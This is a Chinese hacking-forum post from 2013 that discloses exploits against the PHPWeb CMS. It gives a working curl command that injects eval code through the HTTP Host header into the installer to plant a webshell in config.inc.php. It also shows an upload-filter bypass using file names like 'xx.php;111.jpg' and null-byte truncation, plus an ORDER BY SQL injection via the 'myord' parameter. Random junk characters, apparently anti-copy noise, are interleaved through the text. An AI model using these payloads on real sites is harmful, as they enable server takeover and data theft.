找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2415|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:, R: M5 ?) t) C3 A( D

$ }* d6 o# u& |* y6 O8 c$ @之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码7 S7 W7 {* g% M0 F" a8 ^, Q
1 e# J$ @0 y0 ?2 }2 q' w
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- e6 i! }2 c' ~0 G: g鸡肋2: 有一定安全常识的站长都会删掉 install 目录
) m- T) ~+ S0 r# V
* n" F; g2 o9 n虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' \- e6 |8 l! a- K& `) [) Y 5 X, Q4 h/ ^; p* o) k
分析:; ]+ u% C3 ?% C' Z: w

/ H, K6 {/ K  Z7 ]0 a( r ' y+ L8 `7 d" |2 K* l
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤! o! q) v# J# h( C1 i1 A
; C0 Q/ e5 P; }2 `- `$ z, x# U
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);5 `  s, C1 d. a" x  p
                                            $filestr=str_replace(" ","",$filestr);
$ w' r4 c! e! w: ~                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
( l/ [3 ^; e7 z* Q  K3 F  |                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);& ~& q& H5 Q; `8 h4 F. m; k1 [* k: t
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);# P1 F) A' d- T/ ~1 B5 n* M. w+ N
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
1 Q7 l+ r% i# G+ t; G) h- v                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);" l5 x: A% K& K# g) |, R7 O# q# F
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 Y4 ^$ q# m+ r+ ?& s                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);+ \3 g8 M9 a+ o: R3 ~# l7 j
% x6 d6 a6 x$ ?: \+ m! O
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);0 v* @& ^. ]" U  W, t9 H
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" z+ a$ k* }6 J2 [

1 g0 {; C) ], H- Fpoc:
; i* l( F8 A8 O( D$ m! u 3 L1 B+ `' P) k
?: c. D" V; x/ v4 V9 m3 v' f" }" r
15 B% y) i7 {; Q6 g% _+ Y
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": f5 w# z$ q- y+ _5 v  W
shell地址: /config.inc.php( ]( i( }/ I6 F/ T; q
跟之前的 phpcms一样 需要远程数据库$ y  I+ J3 Q0 U% A' Q% t  j( q! t

; F0 z# K$ x# G6 R! D9 i——————————————————–
+ E2 b0 H5 ~- }上传漏洞(需要进后台):
3 {& T& s. G5 ?' p  p' B$ g' B+ u漏洞文件: /kedit/upload_cgi/upload.php
7 O& U2 ?# ^! h( X; C/ u9 h# C  I7 N3 S这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
, Y  [9 s- l4 y& R % p0 p$ V8 g; O7 l, P- j

. z9 S  X+ h' a  v. o  z- Y<?php
2 D6 r  Q% J) _9 `; {# S    define("ROOTPATH", "../../");' T# P+ K5 e3 I: l$ H
    include(ROOTPATH."includes/admin.inc.php");
/ Y6 W/ b' q7 ~  ~- c    NeedAuth(0);+ n" R, K5 ~# [8 Y* X# e7 h

, ?2 [7 Z/ a2 L! r& A1 f& N: f    $dt=date("Ymd",time());" s/ U8 {$ [! s8 k  y# I
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){; L( B, O5 K/ j, S
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 i& p8 h4 }7 E8 T, c- b    }8 {" F- F  }- J# f$ v/ T. T: c
+ {9 o- }" ~4 w' E8 X" \
    //文件保存目录路径! ]1 d4 r- c; [
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 E2 r6 k. ^1 N
    echo $save_path;
. R1 e: r& }! R3 P0 u& o% I    //文件保存目录URL- B% Y5 B2 [& U- z7 c2 Z! b- r
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ z* F) o" E+ o+ v4 {4 x+ O$ z% Q % p  S4 f' l; \: I% G7 z
    //定义允许上传的文件扩展名0 ^2 w' C! j/ x! m2 P% O# q
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀: `' N% w$ p# ]: Y

3 d1 c* o( Y4 V, m  ]% \9 ?) S    //最大文件大小
4 w$ N! g$ W* r+ c" P0 K    $max_size = 1000000;
. S: R% A8 q; q0 N+ t7 `6 ?" U ; P8 u3 O5 v0 U  U2 f1 M
    //更改目录权限
0 Z- r7 v0 T7 Y; p9 v2 T    @mkdir($save_path, 0777);4 M1 O+ p* v4 U0 X- y

6 C( ], ]  T. b- Y" W# ^0 ^    //文件的全部路径+ X4 n# ]$ I: Z7 Y& Y8 d
    $file_path = $save_path.$_POST['fileName'];   //保存文件名- l, Q% Y( N. g& {! g- z4 z
. K2 }$ G  E  Y
    //文件URL+ P4 i9 e1 e4 ~
    $file_url = $save_url.$_POST['fileName'];4 |* }7 Y$ W9 b1 P
//有上传文件时6 N9 ?( b; X) B) W, w. |
    if (empty($_FILES) === false) {% ~: K! D& ]3 F

; v3 |6 M# {+ {" H: A            //原文件名
9 H7 O/ n5 `/ E0 Q+ C3 [  N            $file_name = $_FILES['fileData']['name'];: J2 R' [5 i' f' d2 l
            //服务器上临时文件名
$ ~" n$ R7 m+ O5 o: y, A' o  G            $tmp_name = $_FILES['fileData']['tmp_name'];; f: P+ A( f" t$ @' R( l: }
            //文件大小% N8 ~3 `6 F  U5 `
            $file_size = $_FILES['fileData']['size'];, A7 u" P+ }( x  R# h% l
            //检查目录
! ~& i8 A. x2 f            if (@is_dir($save_path) === false) {; t' a2 R, f1 Q/ [  M
                    alert("上传目录不存在。");
* v6 Q8 i: ?) H; i3 F) q            }! Q* x* p; Q4 B. w
            //检查目录写权限
1 B: e& ~: q" y. q" a            if (@is_writable($save_path) === false) {- q( k& X8 B6 W/ A1 T4 t) l- L
                    alert("上传目录没有写权限。");
" J2 r6 q% K( P# P2 f            }0 N1 `+ d3 \4 l0 R9 d7 {
            //检查是否已上传' J# m; M" U# E
            if (@is_uploaded_file($tmp_name) === false) {
9 S1 i" X3 }' f5 }/ U  S! e7 u                    alert("临时文件可能不是上传文件。");
$ E5 H; B7 y- v$ y) x            }- i, y# I4 F4 S3 W  A! a
            //检查文件大小0 q- t: e9 v& n' Q- J8 O
            if ($file_size > $max_size) {
( I+ U9 ]' a  y& i$ p- w                    alert("上传文件大小超过限制。");
% C( o1 H1 V% X# D            }: j( ?2 ~0 H4 X0 W' q1 f  k
            //获得文件扩展名3 K% K& G9 B# C5 @1 E* S
            $temp_arr = explode(".", $_POST['fileName']);
- I# ?8 R1 {, D% s8 q0 P7 d7 B            $file_ext = array_pop($temp_arr);0 y* v  G, h6 U
            $file_ext = trim($file_ext);
! z7 N% o! b- f+ L5 n4 y            $file_ext = strtolower($file_ext);
: e" ^& e6 I2 X4 @2 g
; {3 z. L' b6 ~6 R            //检查扩展名   ' N0 \, n$ G  o! t
            if (in_array($file_ext, $ext_arr) === false) {     , J8 o+ x9 d0 m, _
                    alert("上传文件扩展名是不允许的扩展名。");
$ W0 p6 W4 D2 }' `            }1 `" `$ M0 M1 ?' a
* w0 j5 z2 y1 R2 P
            //移动文件   
$ Y! z* M% Y4 y' t            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
- C. G1 O9 G( G            if (move_uploaded_file($tmp_name, $file_path) === false) {
* [& _" q5 f# K# d                    alert("上传文件失败。");) m0 _3 j( }, f8 b% W
            }2 ?6 l  [# h6 A; @+ {
  F: }) V4 v9 L* [
            @chmod($file_path,0666);# L$ i  `% t$ {/ |- K: s7 ]

/ X& e- q) S$ W' N: _6 n    ?>4 [% m% L! l4 D! i4 a) m1 c
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
' W& Z" m' r5 S 2 e& {3 ]4 u: J
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, Z. i5 x" P, w( z
* ]1 i0 _# n1 w3 J# {1 O——————————————————
9 i- ?4 s- N- R; d/ f$ ^注入漏洞:
' T! F! u3 V$ _  m* q/ g漏洞文件:search/module/search.php
2 _( y- G1 `/ w2 z7 r/search/index.php?key=1&myord=1 [sqlinjection]
  F/ N0 M2 \  i* k* ~+ a
: e! X" J" p7 q. U& f1 m- K * `* [( u8 S8 b5 e5 t+ V
<?php& w: {. H. |( n% u6 n2 M- C1 ^4 m
   //       ... 省略 n 行...
8 g* N* l1 t4 L" j* J   //第18行:
  C& Y3 r0 j' j8 |; ]$ x. T           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
& I/ T0 Q9 G8 E2 o           $page=htmlspecialchars($_GET["page"]);
; c3 s! Q% V2 F* f! q, @# _0 i           $myord=htmlspecialchars($_GET["myord"]);6 |4 x; `  a; p/ g  K, r
0 \" G( P# h: N* H  f
   //       ... 省略 n 行...
- n5 p) w- _5 ^5 `7 T: d% B   $key,$myord 两个参数带入查询9 i, \+ B% M- i5 w% f8 ~) S
   //第47行 $key:
" h# a% g. W1 w: w2 m
( l8 n6 D% Q7 U9 e  g+ M  N  ~. t   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 L. R" N# f) c3 y* H: j
) ^+ j6 E0 W& q2 A, B0 T: A   //第197行 $myord& k/ i$ h! B# a3 W! M
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入$ }  w# ~) x  ^+ l
/ n0 M. B+ u  U, e* d
   ?>+ b0 ?$ }# q1 F2 W) q% D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表